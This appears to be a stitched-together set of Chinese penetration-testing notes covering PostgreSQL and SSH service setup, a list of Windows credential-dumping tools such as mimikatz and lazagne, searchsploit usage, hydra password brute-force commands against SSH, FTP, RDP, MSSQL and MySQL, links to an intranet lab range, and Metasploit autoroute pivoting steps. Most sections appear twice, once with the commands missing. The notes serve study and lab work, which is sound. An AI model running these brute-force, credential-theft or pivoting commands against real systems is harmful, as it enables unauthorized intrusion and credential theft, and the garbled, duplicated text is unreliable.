#### 在 macOS 上(通过 Homebrew)
如果你通过 Homebrew 安装了 PostgreSQL,可以使用以下命令设置 PostgreSQL 在启动时自启:
brew services start postgresql这将会在系统启动时自动启动 PostgreSQL 服务。
### 总结
要确保 PostgreSQL 自启动,主要步骤是使用
systemctl enable postgresql 来配置 PostgreSQL 服务自启。然后检查和启动服务,确保它在系统重启时能够正常运行。#关键词 #PostgreSQL #自启动 #systemd #开机启动 #Linux
Windows 密码凭证的获取
mimikatz
powershell 脚本
wce
pwddump 7
ophcrack
procdump +mimikatz
注册表导出 hash
lazagne
meterpreter 获取 hash
Cobalt Strike 获取 hash
mimikatz
powershell 脚本
wce
pwddump 7
ophcrack
procdump +mimikatz
注册表导出 hash
lazagne
meterpreter 获取 hash
Cobalt Strike 获取 hash
###
#### 1. 基本搜索
你可以通过关键字或软件名称来搜索漏洞:
例如,要搜索与
#### 2. 搜索并显示详细信息
使用
#### 3. 搜索特定漏洞类型
可以根据漏洞类型、平台等过滤搜索结果。例如,查找与
#### 4. 使用正则表达式
#### 5. 更新 Exploit-DB 数据库
使用
#### 6. 输出格式
可以通过
#### 7. 查找 Exploit 文件的路径
每个漏洞都有一个文件路径,可以通过以下命令直接查找漏洞文件:
例如,要查看 ID 为
### 总结
### 关键词
#searchsploit #漏洞 #ExploitDB #渗透测试 #命令行
searchsploit 使用方法searchsploit 是一个非常强大的工具,用于快速在 Exploit-DB 中搜索已知漏洞和利用代码。以下是它的基本使用方法:#### 1. 基本搜索
你可以通过关键字或软件名称来搜索漏洞:
searchsploit <keyword>例如,要搜索与
apache 相关的漏洞:searchsploit apache#### 2. 搜索并显示详细信息
使用
-v 选项可以显示更详细的漏洞信息:searchsploit -v <keyword>#### 3. 搜索特定漏洞类型
可以根据漏洞类型、平台等过滤搜索结果。例如,查找与
Linux 相关的漏洞:searchsploit -t linux <keyword>#### 4. 使用正则表达式
searchsploit 支持正则表达式,用于进行更灵活的搜索:searchsploit -e '<regex>'#### 5. 更新 Exploit-DB 数据库
使用
-u 选项可以更新本地 Exploit-DB 数据库:searchsploit -u#### 6. 输出格式
可以通过
-o 选项指定输出文件,将搜索结果保存到文件:searchsploit -o result.txt <keyword>#### 7. 查找 Exploit 文件的路径
每个漏洞都有一个文件路径,可以通过以下命令直接查找漏洞文件:
searchsploit -p <exploit_id>例如,要查看 ID 为
12345 的漏洞详细信息:searchsploit -p 12345### 总结
searchsploit 是一个用于从 Exploit-DB 数据库中快速搜索漏洞和利用代码的命令行工具,支持关键字搜索、类型过滤、正则表达式等功能。### 关键词
#searchsploit #漏洞 #ExploitDB #渗透测试 #命令行
### 弱口令爆破命令
以下是根据目标 IP 地址
| 服务 | 命令 | 说明 |
|-----------------|----------------------------------------------------------------------------------------------|-------------------------------------------|
| SSH |
| FTP |
| RDP |
| Telnet |
| MSSQL |
| MySQL |
### 参数说明:
- -L**:指定用户名字典。
- -P**:指定密码字典。
- -l**:指定单个用户名(例如 `sa`)。
- -s**:指定目标端口。
- **ssh://**、**ftp://**、**rdp://**、**telnet://**、**mssql://**、**mysql://**:这些前缀用于指定协议类型。
### 提示:
1. 使用
2.
#关键词:#弱口令爆破 #hydra #命令格式 #SSH爆破 #FTP爆破 #RDP爆破 #MSSQL爆破 #MySQL爆破
以下是根据目标 IP 地址
192.168.1.1 和端口指定格式的爆破命令:| 服务 | 命令 | 说明 |
|-----------------|----------------------------------------------------------------------------------------------|-------------------------------------------|
| SSH |
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.1 -s 22 | 对目标 IP 192.168.1.1 的 SSH 服务进行爆破(默认端口 22) || FTP |
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.1 -s 21 | 对目标 IP 192.168.1.1 的 FTP 服务进行爆破(默认端口 21) || RDP |
hydra -l administrator -P 密码字典.txt rdp://192.168.1.1 -s 3389 | 对目标 IP 192.168.1.1 的 RDP 服务进行爆破(默认端口 3389) || Telnet |
hydra -L 用户字典.txt -P 密码字典.txt telnet://192.168.1.1 -s 23 | 对目标 IP 192.168.1.1 的 Telnet 服务进行爆破(默认端口 23) || MSSQL |
hydra -l sa -P 密码字典.txt mssql://192.168.1.1 -s 1433 | 对目标 IP 192.168.1.1 的 MSSQL 服务进行爆破(默认端口 1433) || MySQL |
hydra -L 用户名字典.txt -P 密码字典.txt mysql://192.168.1.1 -s 3306 | 对目标 IP 192.168.1.1 的 MySQL 服务进行爆破(默认端口 3306) |### 参数说明:
- -L**:指定用户名字典。
- -P**:指定密码字典。
- -l**:指定单个用户名(例如 `sa`)。
- -s**:指定目标端口。
- **ssh://**、**ftp://**、**rdp://**、**telnet://**、**mssql://**、**mysql://**:这些前缀用于指定协议类型。
### 提示:
1. 使用
-s 参数可以指定目标服务的端口号,若使用默认端口(如 SSH 为 22、FTP 为 21),可以省略 `-s`。2.
-V 参数显示详细输出,帮助监控爆破进度。#关键词:#弱口令爆破 #hydra #命令格式 #SSH爆破 #FTP爆破 #RDP爆破 #MSSQL爆破 #MySQL爆破
### Kali 查看、开启、配置 SSH 服务
在 Kali Linux 中,SSH 服务通常使用
#### 1. 查看 SSH 服务状态
使用以下命令查看 SSH 服务的状态:
如果 SSH 服务已启动,您将看到类似以下输出:
如果 SSH 服务未启动,状态会显示为
#### 2. 开启 SSH 服务
如果 SSH 服务未启动,您可以使用以下命令来启动它:
这将立即启动 SSH 服务,并允许您通过 SSH 进行远程连接。
#### 3. 设置 SSH 服务开机自启
如果您希望 SSH 服务在系统启动时自动启动,可以使用以下命令将其设置为自启动:
此命令会将 SSH 服务设置为开机时自动启动。
#### 4. 关闭 SSH 服务
如果您需要关闭 SSH 服务,可以使用以下命令:
#### 5. 禁用 SSH 服务自启动
如果您不希望 SSH 服务在系统启动时自动启动,可以使用以下命令禁用自启:
#### 6. 检查 SSH 服务配置文件
SSH 服务的配置文件通常位于 `/etc/ssh/sshd_config`,如果需要更改 SSH 服务的配置,例如修改端口或允许/禁止特定用户,可以编辑该文件:
修改完配置文件后,重新启动 SSH 服务以应用更改:
### 总结
- 使用 `sudo systemctl status ssh` 查看 SSH 服务状态。
- 使用
- 使用
- 编辑
#SSH服务 #系统管理 #Kali配置 #SSH启动 #系统服务
在 Kali Linux 中,SSH 服务通常使用
OpenSSH 来实现。要查看、开启和配置 SSH 服务,可以通过以下步骤进行操作。#### 1. 查看 SSH 服务状态
使用以下命令查看 SSH 服务的状态:
sudo systemctl status ssh如果 SSH 服务已启动,您将看到类似以下输出:
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
Active: active (running) since ...如果 SSH 服务未启动,状态会显示为
inactive 或 `dead`。#### 2. 开启 SSH 服务
如果 SSH 服务未启动,您可以使用以下命令来启动它:
sudo systemctl start ssh这将立即启动 SSH 服务,并允许您通过 SSH 进行远程连接。
#### 3. 设置 SSH 服务开机自启
如果您希望 SSH 服务在系统启动时自动启动,可以使用以下命令将其设置为自启动:
sudo systemctl enable ssh此命令会将 SSH 服务设置为开机时自动启动。
#### 4. 关闭 SSH 服务
如果您需要关闭 SSH 服务,可以使用以下命令:
sudo systemctl stop ssh#### 5. 禁用 SSH 服务自启动
如果您不希望 SSH 服务在系统启动时自动启动,可以使用以下命令禁用自启:
sudo systemctl disable ssh#### 6. 检查 SSH 服务配置文件
SSH 服务的配置文件通常位于 `/etc/ssh/sshd_config`,如果需要更改 SSH 服务的配置,例如修改端口或允许/禁止特定用户,可以编辑该文件:
sudo nano /etc/ssh/sshd_config修改完配置文件后,重新启动 SSH 服务以应用更改:
sudo systemctl restart ssh### 总结
- 使用 `sudo systemctl status ssh` 查看 SSH 服务状态。
- 使用
sudo systemctl start ssh 启动 SSH 服务。- 使用
sudo systemctl enable ssh 配置 SSH 服务为开机自启。- 编辑
/etc/ssh/sshd_config 配置文件以修改 SSH 配置。#SSH服务 #系统管理 #Kali配置 #SSH启动 #系统服务
暗月内网渗透ack123
https://mp.weixin.qq.com/s/VB4elHdrHNCmPDP_ktcLRg
靶场地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取码:7fkj
https://mp.weixin.qq.com/s/VB4elHdrHNCmPDP_ktcLRg
靶场地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取码:7fkj
从您提供的方法来看,您正在使用Metasploit框架来管理和添加路由。下面是每种方法的详细说明和步骤:
### 方法一:使用命令行添加路由
1. 获取当前会话的网段:
执行以下命令来查看当前会话的网段:
2. 添加路由:
使用以下命令添加指定的子网路由:
3. 查看路由是否添加成功:
通过以下命令查看当前的路由配置:
### 方法二:通过背景任务和手动添加路由
1. 回到msf背景:
如果您的会话当前处于活动状态,可以使用以下命令回到msf:
2. 添加路由:
使用
3. 查看路由:
使用以下命令查看当前的路由表:
### 方法三:使用Metasploit内置模块自动添加路由
1. 使用
这一步可以通过Metasploit的内置模块来简化路由的添加。
2. 设置会话:
当您使用这个模块时,首先要设置要操作的会话:
3. 执行模块:
运行模块以添加路由:
总结,这三种方法可以根据您的具体需求和情况选择使用。若想要快速添加路由,方法三是最简单的,而方法一和方法二则提供了更细致的操作步骤。
### 方法一:使用命令行添加路由
1. 获取当前会话的网段:
执行以下命令来查看当前会话的网段:
run get_local_subnets
2. 添加路由:
使用以下命令添加指定的子网路由:
run autoroute -s 192.168.22.0/24
3. 查看路由是否添加成功:
通过以下命令查看当前的路由配置:
run autoroute -p
### 方法二:通过背景任务和手动添加路由
1. 回到msf背景:
如果您的会话当前处于活动状态,可以使用以下命令回到msf:
background
2. 添加路由:
使用
route add 命令手动添加路由,1号代表挂起的session编号: route add 192.168.22.0 255.255.255.0 1
3. 查看路由:
使用以下命令查看当前的路由表:
route print
### 方法三:使用Metasploit内置模块自动添加路由
1. 使用
post/multi/manage/autoroute 模块:这一步可以通过Metasploit的内置模块来简化路由的添加。
2. 设置会话:
当您使用这个模块时,首先要设置要操作的会话:
use post/multi/manage/autoroute
set SESSION [session_number]
3. 执行模块:
运行模块以添加路由:
run
总结,这三种方法可以根据您的具体需求和情况选择使用。若想要快速添加路由,方法三是最简单的,而方法一和方法二则提供了更细致的操作步骤。